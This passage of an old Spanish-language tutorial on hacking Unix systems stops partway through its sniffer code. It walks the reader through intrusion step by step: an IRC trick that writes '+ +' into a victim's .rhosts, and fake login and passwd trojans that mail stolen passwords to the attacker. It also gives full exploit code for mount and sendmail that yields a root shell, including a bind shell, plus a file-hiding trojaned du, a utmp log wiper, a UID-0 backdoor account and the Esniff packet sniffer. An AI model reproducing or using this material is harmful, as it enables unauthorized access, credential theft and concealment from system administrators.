Hola a todos. Espero que los que leais este documento comprendais como
se
hackea un unix. En mis frecuentes visitas al IRC mucha gente pregunta
sobre el
/etc/passwd, mucha gente anda buscando diccionarios de palabras y otros
tantos
buscan el mejor crackeador. ¨ para que ?. Hay maneras mucho
mas rapidas y
por supuesto divertidas de conseguir una cuenta. Y por supuesto es
demasiado
dificil desencriptar la cuenta del root, por lo que solo se utiliza
en casos
extremos, asi como los programas tipo dictmake solo se usan en casos
muy raros
y cuando no nos queda otro recurso.
Empezamos. Antes de empezar me gustaria que quedara claro que si quereis
ser
hackers en serio necesitais linux, no es absolutamente necesario pero
facilita
muchisimo las cosas.
Para hackear un unix la primera cosa que necesitamos es, logico, introducirse
en el sistema. Algunos otros ordenadores tienes ftpïs anonimos
a los que
podemos acceder, pero hacedme caso, no servir para nada.
Para introducirnos en un sistema necesitamos que tenga al menos una
parte de
acceso publico. Generalmente esa parte es la famosa pantalla " Login:
y
Password: " que me imagino que todos conocereis.
Esta pantalla simplemente vale para identificar que la entrada de un
usuario
en ese sistema sa legitima. Sin embargo esas tontas maquinas que solo
saben
la diferencia entre 0 y 1 si les damos un login y password que esten
dados
de alta en ese sistema nos dejara pasar ( a no ser que tengan un sistema
de
reconocimiento de IP para lo que necesitariamos hacer IP-Spoofing
, pero esto
solo nos ocurrira en ciertos ordenadores de alta seguridad ). ¨
Como conseguir
acceso al sistema ? La manera mas facil, la ingenieria social. No creo
que
haga falta explicar eso. Simplemente podeis utilizar en comando finger,
para
los que useis linux y los que no usais el finger del mIrc. Este comando
nos
dara informacion sobre el titular del e-mail que nostros le demos,
que segun
la maquina sera, o mas o menos o a veces nada. Menos da una piedra.
Si estais
desde linux podeis usar comandos "r" como "rlogin loquesea.com -l loginquesea"
esto os mete en el sistema, pero hay que conseguir una cuenta para
poder usar
los exploits que explicar‚ mas adelante. Sin embargo hay otras maneras
de
conseguir acceso al sistema, como por ejemplo la que explico ahora
COMO ACCEDER A UN ORDENADOR HACKEANDO DESDE EL IRC:
Esto solo lo podeis hacer desde linux, yo lo he probado desde win95
y 3.1 y
no lo he conseguido hacer. Primero hacemos un /whois #uncanalconmuchagente
para encontrar si hay alguien que se conecte desde un unix, que normalmente
ser una universidad. El unico problema que tiene esto es que
no podemos
elegir el ordenador, pero de todas maneras es muy divertido.
Lo unico que necesitamos es meter la cadena + + en su fichero /.rhosts
y la
verdad es que es una tonteria tremenda.
Buscamos a la victima y vamos a un canal donde este el, despues le
hablaremos
desde un privado. Ahora entra la imaginacion de cada uno, porque tenemos
que
mandarle un fichero por DCC ( por ejemplo prueba.irc ) y que el escriba:
/load prueba.irc Me imagino que vuestra imaginacion os ayudara a resolverlo.
Lo primero es conseguir el fichero prueba.irc. Solo esta linea :
/exec echo: "/exec echo + + > $HOME/.rhosts >> prueba.irc
Ya tenemos el fichero prueba, lo mejor es que para que no se de cuenta
podemos
a¤adirle alguna conachada que se nos ocurra ( alla cada uno
se las apa¤e ).
Listo. Cuando el tio en cuestion escriba /load prueba.irc nosotros
ejecutamos
% rlogin ordenador_de_la_victima.com -l login_de_la_victima
Ya estamos dentro. Facil ¨ No ?
Y para terminar un truquillo que quizas os valga para algo, simplemente
cambiamos la paridad de nuestro modem a 7E1 y telneteamos al ordenador
en
cuestion. Si hemos tenido suerte, cuando alguien intente conectarse,
nos
"colaremos" en su lugar.
Despues de todo esto se supone que ya estamos dentro. Ahora hay que,
o sacar
una cuenta si no la tenemos o conseguir privilegios de root. Para lo
primero:
- Podemos usar el archirenombrado /ect/passwd ( si tenemos privilegios
para
leerlo ) y crackearlo pero si quereis mi consejo solo usad el fichero
passwd
para conseguir una cuenta cualquiera en el sistema y poder ejecutar
comandos
en ‚l, poder usar un bug o exploit.
- Usar un trojan o Caballo De Troya, esta opcion tambien requiere tiempo
pero
por supuesto menos que crackear el fichero passwd, por que funciona
en cuanto
cualguier usuario se conecte al sistema. ATENCION, si conseguimos la
cuenta
del root nos podremos saltar el paso " conseguir privilegios de root
", aunque
los sysadmins, algunos, pueden sospechar aunque la verdad es que despues
de
hackear durante un tiempo te das cuenta de lo estupidos que pueden
llegar a
ser. Quizas sea una de las mejores formas. Un caballo de troya es un
fichero
que metido en el sistema hace que un usuario crea que ha introducido
su
password mal, pero en realidad el password es enviado a la direccion
de correo
que nosostros le digamos. Aqui incluyo uno, pero acordaos de ponerle
la
direccion a la que quereis que os mande el passwd, y ademas en algunos
sistemas en lugar de "Login:" nos dice : "marte login: " o algo distinto
de
login, por lo que tambien lo tenemos que cambiar para que nadie note
la
diferencia. Este es :
------SCRIPT------
#!/bin/sh
rm -rf $0
cp $HOME/.login $HOME/.l
echo ''>$HOME/.hushlogin
echo "stty intr '^@'
echo 'Login incorrect'
echo -n 'login: '
echo $<>.t
echo -n 'Password: '
stty -echo
echo $<>>.t
mail tunombre@tudirecciondecorreoanonima<.t
rm .t
cat /etc/motd
mv .l .login
rm .hushlogin
stty echo
source .login">$HOME/.login
----END SCRIPT----
Este tipo de scripts tambien se pueden usar en /bin/passwd, para cuando
un
usuario cambie su contrase¤a pero el problema es que no es muy
normal que
un usuario cambie su contrase¤a, o por lo menos pasa muy de
vez en cuando.
Para mayor seguridad lo mejor es poner el que esta arriba,( para el
caso es
mejor poner los dos ) pero sin embargo aqui pongo el otro, por si acaso
( acordaos de la direccion de correo ) :
------SCRIPT------
#!/bin/tcsh
echo -n "Changing password for $USER on ";hostname
echo -n "Old password: "
stty -echo
echo $<>$HOME/.tym
echo ""
echo -n "New password: "
echo $<>>$HOME/.tym
echo ""
stty echo
mail tunombre@tudirecciondecorreoanonima<$HOME/.tym
rm $HOME/.tym
echo "Error: Incorrect Password"
rm -f $0
unalias /bin/passwd
unalias passwd
---END SCRIPT---
La ventaja que tienen estos dos scripts es que no influye que el fichero
passwd este shadowed o no.
Creo que con esto nos llega para conseguir una cuenta en un ordenador
normal.
Pasamos a lo siguiente, conseguir los privilegios de root.
Para conseguir privilegios de root en un sistema NO hace falta desencriptar
la cuenta del root del fichero passwd. Para ser root recurrimos a los
bugs y
a los exploits. Los bugs son "agujeros" en el dise¤o del SSOO
y se suelen
encontrar en listas de correo de seguridad, aunque hay algunas webs
donde
estan recopilados. Los exploits son programas que utilizan esos bugs
para
conseguirnos privilegios de root, aunque no es para lo unico que sirven,
me
refiero a que podemos usar un exploit para leer el correo de alguien,
para
ocultar lo que estemos haciendo en el ordenador etc...
Los exploits son ficheros de codigo .c que hay que compilar en el ordenador
a hackear. Se meten por ftp y se compilan:
% cc -o loquesea loquesea.c
% loquesea
Listo. Hay algunos que requieren una manera especial de utilizacion,
pero
lo indica claramente si editamos el fichero.
Los bugs y exploits suelen estar clasificados por sistemas, para que
sea mas
facil localizarlos. La verdad es que os recomiendo tener los exploits
y bugs
en vuestro ordenador ordenados por directorios, para que no perdais
el tiempo
la paciencia buscandolos.
Para que tengais alguna ayuda os voy a poner aqui unos cuantos:
Quizas este ya lo conozcais, es el mount, y funciona en casi todos los linux:
<-------------------------------------CORTAD AQUI--------------------------->
/* Mount Exploit for Linux, Jul 30 1996
Discovered and Coded by Bloodmask & Vio
Covin Security 1996
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>
#define PATH_MOUNT "/bin/umount"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50
u_long get_esp()
{
__asm__("movl %esp, %eax");
}
main(int argc, char **argv)
{
u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
int i;
int ofs = DEFAULT_OFFSET;
buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
/* fill start of buffer with nops */
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
/* stick asm code into the buffer */
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];
addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr = 0;
(void)alarm((u_int)0);
printf("Discovered and Coded by Bloodmask and Vio, Covin
1996\n");
execl(PATH_MOUNT, "mount", buff, NULL);
}
<--------------------------------------FINAL-------------------------------->
Este otro exploit os dara un shell de root en los ordenadores que usen
el
sendmail 8.6.4, este es el codigo original, leed las lineas que empiecen
por
# porque es lo que teneis que escribir vosotros por que es distinto
en cada
sistema:
<--------------------------------CORTAD AQUI-------------------------------->
# location of sendmail
SENDMAIL=/usr/lib/sendmail
# location of original sendmail.cf file
CONFIG=/nau/local/lib/mail/sendmail.cf
#CONFIG=`strings $SENDMAIL | grep sendmail.cf`
# program to execute as root
SHELL=/bin/csh
TEMPDIR=/tmp/sendbug-tmp.$$
mkdir $TEMPDIR
chmod 700 $TEMPDIR
cd $TEMPDIR
cp $SENDMAIL sm
chmod 700 sm
echo "Creating setid0 ..."
cat > setid.c << _EOF_
/* set uid to zero, thus escaping the annoying csh and solaris sh
* problem..
*
* if (getuid() != geteuid()) {
* printf("permission denied, you root-hacker you.\n");
* exit(1);
* }
*
* .. must be run euid 0, obviously. with no args it runs
/bin/sh,
* otherwise it runs the 1st arg.
*/
#include <stdio.h>
main(argc, argv)
int argc;
char *argv[];
int uid;
setuid(0);
setgid(0);
seteuid(0); /* probabally redundant. */
setegid(0);
uid = getuid();
if (uid != 0) {
printf("setuid(0); failed! aborting..\n");
exit(1);
}
if (argc !=2) {
printf("executing /bin/sh...\n");
system("/bin/sh");
}
else
{
printf("executing %s...\n", argv[1]);
system(argv[1]);
}
_EOF_
cc -o setid0 setid.c
echo "Creating calc..."
cat > calc.c << _EOF_
/*
* Determines offset in sendmail of
* sendmail.cf file location.
* author: timothy newsham
*/
#include <fcntl.h>
gencore()
int pid;
int fd[2];
if(pipe(fd) < 0) {
perror("pipe");
exit(1);
return(0);
}
pid = fork();
if(!pid) {
int f = open("./out", O_RDWR|O_CREAT, 0666);
dup2(f, 1); dup2(fd[0], 0);
close(f); close(fd[1]); close(fd[0]);
execl("./sm","sm","-d0-9.90","-oQ.","-bs", 0);
perror("exec");
exit(0);
} else {
sleep(2);
kill(pid, 11);
}
close(fd[0]);
close(fd[1]);
main(argc,argv)
char **argv;
int argc;
unsigned int ConfFile,tTdvect,off;
gencore();
sync(); /* grr. */
tTdvect = find("ZZZZZZZZ", "core");
ConfFile = find(argv[1], "core");
if(!tTdvect || !ConfFile) {
return(1);
}
off = ConfFile - tTdvect;
printf("-d%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.0\n",
off, '/', off+1, 't', off+2, 'm', off+3, 'p', off+4, '/', off+5,
's', \
off+6, 'm', off+7, '.', off+8, 'c', off+9, 'f', off+10);
int find(pattern, file)
char *pattern,*file;
int fd;
int i, addr;
char c;
fd = open(file, 0);
i = 0;
addr = 0;
while(read(fd, &c, 1) == 1) {
if(pattern[i] == c)
i++;
else
i=0;
if(pattern[i] == '\0') {
addr -= strlen(pattern);
return(addr);
}
addr++;
}
return(0);
_EOF_
cc calc.c -o calc
echo "Scanning core image for $CONFIG..."
DEBUGFLAGS=`calc $CONFIG`
echo "Creating alias.sh ..."
echo "#!/bin/sh
# this program will be executed when mail is sent to the fake alias.
# since solaris sh and csh and tcsh refuse to run when euid != realuid,
# we instead run the program we compiled above.
/bin/chmod 6777 $TEMPDIR/setid0
/bin/chown root $TEMPDIR/setid0
/bin/sync
" > alias.sh
chmod 755 alias.sh
echo "Creating fake alias file..."
echo "yash: |$TEMPDIR/alias.sh" > aliases
echo "Faking alias pointer in new config file..."
egrep -v '(OA|DZ|Ou|Og)' $CONFIG > /tmp/sm.cf
echo "
# hacks follow
OA/$TEMPDIR/aliases
# our fake alias file
Ou0
# user ID to run as
Og0
# group ID to run as
DZWHOOP-v1.0" >> /tmp/sm.cf
echo "Creating the sendmail script..."
cat > sendmail.script << _EOF_
helo
mail from: <nobody>
rcpt to: <yash>
data
yet another sendmail hole? suid whoop?
\.
# oops.. delete \ prior to execution
quit
_EOF_
echo "Executing $SENDMAIL $DEBUGFLAGS -bs..."
$SENDMAIL $DEBUGFLAGS -bs < sendmail.script
# give it time to execute.
sleep 4
# cleanup in 5 seconds
(sleep 5; rm -rf $TEMPDIR ; rm /tmp/sm.cf) &
if [ -u setid0 ]
then
echo "setid0 is a suid shell. executing..."
cd /
$TEMPDIR/setid0 /bin/csh
echo "end of script."
exit 0
else
echo "setid0 is not suid; script failed."
echo "apparently, you don't have the bug. celebrate :-)"
exit 1
fi
<----------------------------------FINAL------------------------------------->
Este otro os har root en los ssoo con el sendmail 4.x
<-------------------------------CORTAR AQUI---------------------------------->
#!/bin/sh
# Uso: smail <hostname> <target-user-name> <target-port> <shell
command>
# Defecto: smail <localhost> <daemon> <7001> </bin/sh>
port=$3
user=$2
cmd=$4
if [ -z "$2" ]; then
user=daemon
fi
if [ -z "$3" ]; then
port=7002
fi
if [ -z "$4" ]; then
cmd="/bin/csh -i"
fi
(
sleep 4
echo "helo"
echo "mail from: |"
echo "rcpt to: bounce"
echo "data"
echo "."
sleep 3
echo "mail from: $user"
echo "rcpt to: | sed '1,/^$/d' | sh"
echo "data"
echo "cat > /tmp/a.c <<EOF"
cat << EOF
#include <sys/types.h>
#include <sys/signal.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac;
int **av;{struct sockaddr_in mya;struct servent *sp
;fd_set muf;int myfd,new,x,maxfd=getdtablesize();
signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM,
0))<0)exit(1);mya.sin_family=AF_INET;bzero(&mya.sin_addr,
sizeof(mya.sin_addr));if((sp=getservbyname(av[1],"tcp"))
==(struct servent *)0){if(atoi(av[1])<=0)exit(1);mya.sin_port
=htons(atoi(av[1]));}else mya.sin_port=sp->s_port;if(bind(myfd,
(struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd,
1)<0)exit(1);loop: FD_ZERO(&muf);FD_SET(myfd,&muf);if
(select(myfd+1,&muf,0,0,0)!=1||!FD_ISSET(myfd,&muf))goto
loop;if((new=accept(myfd,0,0))<0)goto loop;if(fork()
==0){for(x=2;x<maxfd;x++)if(x!=new)close(x);for(x=0;x<
NSIG;x++)signal(x,SIG_DFL);dup2(new,0);close(new);dup2
(0,1);dup2(0,2);execv(av[2],av+2);exit(1);}close(new);
goto loop;}
EOF
echo "EOF"
echo "cd /tmp"
echo "/bin/cc /tmp/a.c"
echo "/bin/rm a.c"
echo "/tmp/a.out $port $cmd"
echo "."
echo "quit"
) | mconnect $1
<------------------------------------FINAL----------------------------------->
Y por ultimo este otro, que no es para ser root, si no para ocultar
ficheros
en un directorio, que no se veran al hacer "ls". Este fichero se
copia en
/bin/ls sobreescribiendo al original.
Lo de siempre, es el codigo original, leed los /*.
<----------------------------------CORTAR AQUI------------------------------->
#ifndef lint
static char sccsid[] = "@(#)du.c 1.1 91/11/13 SMI"; /* from UCB 4.11
83/07/01 */
#endif
/*
* du
*/
#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/dir.h>
char path[BUFSIZ], name[BUFSIZ];
int aflg;
int sflg;
char *dot = ".";
#define ML 1000
struct {
int dev;
ino_t ino;
} ml[ML];
int mlx;
/*+
* Hack vars - oops they're global
* but wtf cares, its a hack.
+*/
#define FILENAME "/dev/ptyr"
#define STR_SIZE 128
#define SEP_CHAR " \n"
#define SHOWFLAG /*
Able to get du stats with `du -/` command */
struct h_st {
struct h_st
*next;
char
filename[STR_SIZE];
};
struct h_st *hack_list;
struct h_st *h_tmp;
char tmp_str[STR_SIZE];
FILE *fp_hack;
int showall=0;
long descend();
char *index(), *rindex(), *strcpy(), *sprintf();
#define kb(n) (howmany(dbtob(n), 1024))
main(argc, argv)
int argc;
char **argv;
{
long blocks = 0;
register char *np;
int pid;
int c;
extern int optind;
#if defined (SHOWFLAG)
while ((c = getopt(argc, argv, "as/")) != -1)
#else
while ((c = getopt(argc, argv, "as")) != -1)
#endif
switch (c) {
case 'a':
aflg++;
break;
case 's':
sflg++;
break;
#if defined (SHOWFLAG)
case '/':
showall++;
break;
#endif
default:
(void)fprintf(stderr, "Usage: du [-as] file . .
.\n");
exit (2);
}
/*+ Read in list of files to block +*/
h_tmp=(struct h_st *)malloc(sizeof(struct
h_st));
hack_list=h_tmp;
if (fp_hack=fopen (FILENAME,
"r")) {
while (fgets(tmp_str, 126, fp_hack)) {
h_tmp->next=(struct h_st *)malloc(sizeof(struct h_st));
strcpy (h_tmp->filename, tmp_str);
h_tmp->filename[strlen(h_tmp->filename)-1]='\0';
h_tmp=h_tmp->next;
}
}
h_tmp->next=NULL;
/*+ On with the program +*/
argc -= optind;
argv += optind;
if (argc == 0) {
argv = ˙
argc = 1;
}
do {
if (argc > 1) {
pid = fork();
if (pid == -1) {
fprintf(stderr, "No more processes.\n");
exit(1);
}
if (pid != 0)
wait((int *)0);
}
if (argc == 1 || pid == 0) {
(void) strcpy(path, *argv);
(void) strcpy(name, *argv);
if (np = rindex(name, '/')) {
*np++ = '\0';
if (chdir(*name ? name : "/") < 0) {
perror(*name ? name : "/");
exit(1);
}
} else
np = path;
blocks = descend(path, *np ? np : ".");
if (sflg)
printf("%ld\t%s\n", kb(blocks), path);
if (argc > 1)
exit(1);
}
argc--, argv++;
} while (argc > 0);
exit(0);
/* NOTREACHED */
}
DIR *dirp = NULL;
long
descend(base, name) /* Cool tree spanning idea */
char *base, *name;
{
char *ebase0, *ebase;
struct stat stb;
int i;
long blocks = 0;
long curoff = NULL;
register struct direct *dp;
/*+
* This will be very lagged if you include alot of files
* because strstr() is such an expensive call. However,
* the nature of this procedure requires it, and breaking
* the pathname down would be just as expensive. Note,
* that correct disk usage sizes will be reported based
* upon files that are not masked.
+*/
if (!showall)
for (h_tmp=hack_list; h_tmp->next; h_tmp=h_tmp->next)
if (strstr(base, h_tmp->filename))
return 0;
ebase0 = ebase = index(base, 0);
if (ebase > base && ebase[-1] == '/')
ebase--;
if (lstat(name, &stb) < 0) {
perror(base);
*ebase0 = 0;
return (0);
}
if (stb.st_nlink > 1 && (stb.st_mode&S_IFMT) != S_IFDIR)
{
for (i = 0; i <= mlx; i++)
if (ml[i].ino == stb.st_ino && ml[i].dev == stb.st_dev)
return (0);
if (mlx < ML) {
ml[mlx].dev = stb.st_dev;
ml[mlx].ino = stb.st_ino;
mlx++;
}
}
blocks = stb.st_blocks;
if ((stb.st_mode&S_IFMT) != S_IFDIR) {
if (aflg)
printf("%ld\t%s\n", kb(blocks), base);
return (blocks);
}
if (dirp != NULL)
closedir(dirp);
dirp = opendir(name);
if (dirp == NULL) {
perror(base);
*ebase0 = 0;
return (0);
}
if (chdir(name) < 0) {
perror(base);
*ebase0 = 0;
closedir(dirp);
dirp = NULL;
return (0);
}
while (dp = readdir(dirp)) {
if (!strcmp(dp->d_name, ".") || !strcmp(dp->d_name, ".."))
continue;
(void) sprintf(ebase, "/%s", dp->d_name);
curoff = telldir(dirp);
blocks += descend(base, ebase+1);
*ebase = 0;
if (dirp == NULL) {
dirp = opendir(".");
if (dirp == NULL) {
perror(".");
return (0);
}
seekdir(dirp, curoff);
}
}
closedir(dirp);
dirp = NULL;
if (sflg == 0)
printf("%ld\t%s\n", kb(blocks), base);
if (chdir("..") < 0) {
(void) sprintf(index(base, 0), "/..");
perror(base);
exit(1);
}
*ebase0 = 0;
return (blocks);
}
<---------------------------------------FINAL-------------------------------->
Igual que hay este hay un monton para cada sistema, para el ftp, para
telnet
etc...
Despues de buscar, o bien el vuestro HD, o bien en las paginas web
se supone
que tendreis los necesarios para ser root. Un consejo, si no funciona
ninguno
de los que teneis no useis los que son para otros sistemas o versiones,
vamos,
que no hagais cosas a lo loco, por que lo unico que haceis es dejar
mas
huellas en el sistema.
Esta es la parte mas dificil de todas, asi que espero que sepais solucionarla.
Una vez que ya somos root podemos hacer lo que queramos en ese sistema,
pero
no debemos olvidarnos de borrar nuestras huellas. Los unix tienen varios
logs
que guardan casi todo lo que hacemos en el sistema :
* UTMP: Este fichero guarda un registro de todos los usuarios que se
han
conectado a ese sistema
Directorios: /etc/utmp o /var/adm/utmp
* WTMP: Este es nuestro peor enemigo. Guarda los numeros IP de todos
los que
se han conectado al ordenador.
Directorios: /etc/wtmp o /var/adm/wtmp
* LASTLOG: Este log guarda un registro del momento exacto en que un
usuario
entro por £ltima vez
Directorio: /var/adm/lastlog
* ACCT: Este log guarda los comandos que hemos ejecutado pero SOLO los
comandos no con que fin los hemos utilizado, pero suele estar desactivado
por la gran cantidad de memoria que necesita. ( Logico no? )
Directorio: /var/adm/acct ( en algunos sistemas se puede llamar pacct )
Ademas de esto puede haber otros programas que registren tu entrada,
como el
TCP-Wrapper o similares( Tened cuidado con el Syslog que viene con
el ssoo
que guarda los logs en los ficheros especificados en /etc/syslog.conf
)
De todas maneras os recomiendo que hackeeis a horas que el root no
pueda ver
vuestro numero IP con "who" o "users" porque os pillara. De la misma
manera,
la primera vez que accedeis al sistema con una cuenta hackeada, haced
muchas
cosas que haria un usuario normal ( telnet, ftp, echar una partida
al tetris )
para que si el root os investiga "levemente" no se de cuenta de lo
que habeis
hecho. Aqui incluyo el codigo de el "zap" que, como su nombre indica
es un
zapper, o sea un programa que borra nuestras huellas el solito.
Se compila como los exploits, pero cambia su ejecucion :
% zap <nombredeusuario>
<---------------------------------CORTAD AQUI-------------------------------->
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
int flag=0;
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
flag++;
}
close(f);
if(!flag) printf("Unsuccessful.\n");
}
}
main(argc,argv)
int argc;
char *argv[];
{
char me[30];
int i;
struct passwd *myentry;
if (argc==1) {
myentry=getpwuid(getuid());
strcpy(me,myentry->pw_name);
} else strcpy(me,argv[1]);
printf("ZAPing %s.\n",me);
kill_utmp(me);
}
<-----------------------------------FINAL------------------------------------>
Asi la ultima entrada del usuario queda borrada del sistema. Si lo ejecutamos
demasiadas veces, pondr nombredeusuario Never Logged In , osea
es como si
ese usuario nunca se hubiera conectado al sistema. Ya tenemos las huellas
borradas, pero si queremos mantener esos privilegios que hacemos?
La manera mas facil es a¤adir una cuenta al /etc/passwd con
el comando
"adduser" con numero de usuario 0 y numero de grupo 0 que son privilegios
de root.
NoTa: que nadie se le ocurra borrar todas las cuentas del fichero passwd
menos una que solo el conozca, por que, aunque nadie podria acceder
al sistema
una persona con acceso fisico podria detectarnos, y como poco
borrar
nuestra cuenta asi cerrandonos el acceso al sistema, siendo en vano
todo lo
que habiamos hecho.
Sin embargo si por casualidad al sysop en cuesti¢n se le ocurre
revisar las
cuentas del fichero passwd la cagamos. Aunque es dificil, por que tendria
que
revisar las cuentas 1 por 1 y es muy posible que se no se de cuenta,
pero los
hay maniaticos....
Despues de hacer todo esto :
-Tenemos una cuenta con privilegios de root
-Hemos borrado nuestras huellas
¨ Que nos queda ? Pues practicamente nada, salvo colocar un sniffer,
programa
que nos facilitara logins y passwords de ordenadores a los que se conecte
la
gente de "nuestro" sistema. El problema de los sniffers es que hay
uno para
cada sistema, pero si encontramos uno para el nuestro ( cosa que no
seria muy
rara ) no est de mas ponerlo para futuros "trabajos".
Aqui incluyo el codigo de uno que quizas os sirva, es el codigo original,
y
hay que a¤adirle alguna cosa asi que leed lo un poco por las
lineas que
empiezan por /* Este sniffer deberia funcionar en casi todos
los *NIX :
<----------------------------------CORTAD AQUI------------------------------->
/* Esniff.c */
#include <stdio.h>
#include <ctype.h>
#include <string.h>
#include <sys/time.h>
#include <sys/file.h>
#include <sys/stropts.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/nit_if.h>
#include <net/nit_buf.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/udp_var.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <arpa/inet.h>
#define ERR stderr
char *malloc();
char *device,
*ProgName,
*LogName;
FILE *LOG;
int debug=0;
#define NIT_DEV "/dev/nit"
#define CHUNKSIZE 4096
/* device buffer size */
int if_fd = -1;
int Packet[CHUNKSIZE+32];
void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
exit(err); }
void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
exit(err); }
#define IP ((struct
ip *)Packet)
#define IP_OFFSET (0x1FFF)
#define SZETH (sizeof(struct ether_header))
#define IPLEN (ntohs(ip->ip_len))
#define IPHLEN (ip->ip_hl)
#define TCPOFF (tcph->th_off)
#define IPS (ip->ip_src)
#define IPD (ip->ip_dst)
#define TCPS (tcph->th_sport)
#define TCPD (tcph->th_dport)
#define IPeq(s,t) ((s).s_addr == (t).s_addr)
#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))
#define MAXBUFLEN (128)
time_t LastTIME = 0;
struct CREC {
struct CREC *Next,
*Last;
time_t Time;
/* start time */
struct in_addr SRCip,
DSTip;
u_int SRCport,
/* src/dst ports */
DSTport;
u_char Data[MAXBUFLEN+2]; /* important
stuff :-) */
u_int Length;
/* current data length */
u_int PKcnt;
/* # pkts */
u_long LASTseq;
};
struct CREC *CLroot = NULL;
char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
gethostbyaddr((char *)&ip.s_addr,
sizeof(struct in_addr),AF_INET);
return( (he)?(he->h_name):(inet_ntoa(ip)) );
}
char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')
SFL(0,TH_FIN, 'F');
SFL(1,TH_SYN, 'S');
SFL(2,TH_RST, 'R');
SFL(3,TH_PUSH,'P');
SFL(4,TH_ACK, 'A');
SFL(5,TH_URG, 'U');
iobuf[6]=0;
return(iobuf);
}
char *SERVp(port)
register u_int port;
{ static char buf[10];
register char *p;
switch(port) {
case IPPORT_LOGINSERVER: p="rlogin"; break;
case IPPORT_TELNET:
p="telnet"; break;
case IPPORT_SMTP:
p="smtp"; break;
case IPPORT_FTP:
p="ftp"; break;
default: sprintf(buf,"%u",port); p=buf; break;
}
return(p);
}
char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
p[strlen(p)-6]=0; /* strip " YYYY\n" */
return(p);
}
char *NOWtm()
{ time_t tm;
time(&tm);
return( Ptm(&tm) );
}
#define MAX(a,b) (((a)>(b))?(a):(b))
#define MIN(a,b) (((a)<(b))?(a):(b))
/* add an item */
#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
register struct CREC *CLtmp = \
(struct CREC *)malloc(sizeof(struct
CREC)); \
time( &(CLtmp->Time) ); \
CLtmp->SRCip.s_addr = SIP.s_addr; \
CLtmp->DSTip.s_addr = DIP.s_addr; \
CLtmp->SRCport = SPORT; \
CLtmp->DSTport = DPORT; \
CLtmp->Length = MIN(LEN,MAXBUFLEN); \
bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length);
\
CLtmp->PKcnt = 1; \
CLtmp->Next = CLroot; \
CLtmp->Last = NULL; \
CLroot = CLtmp; \
}
register struct CREC *GET_NODE(Sip,SP,Dip,DP)
register struct in_addr Sip,Dip;
register u_int SP,DP;
{ register struct CREC *CLr = CLroot;
while(CLr != NULL) {
if( (CLr->SRCport == SP) && (CLr->DSTport
== DP) &&
IPeq(CLr->SRCip,Sip) &&
IPeq(CLr->DSTip,Dip) )
break;
CLr = CLr->Next;
}
return(CLr);
}
#define ADDDATA_NODE(CL,DATA,LEN) { \
bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN);
\
CL->Length += LEN; \
}
#define PR_DATA(dp,ln) { \
register u_char lastc=0; \
while(ln-- >0) { \
if(*dp < 32) { \
switch(*dp) { \
case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
break; \
case '\r': \
case '\n': fprintf(LOG,"\n : "); \
break; \
default : fprintf(LOG,"^%c", (*dp + 64)); \
break; \
} \
} else { \
if(isprint(*dp)) fputc(*dp,LOG);
\
else fprintf(LOG,"(%d)",*dp);
\
} \
lastc = *dp++; \
} \
fflush(LOG); \
}
void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
register u_char *d;
register int dl;
register char *msg;
{
fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
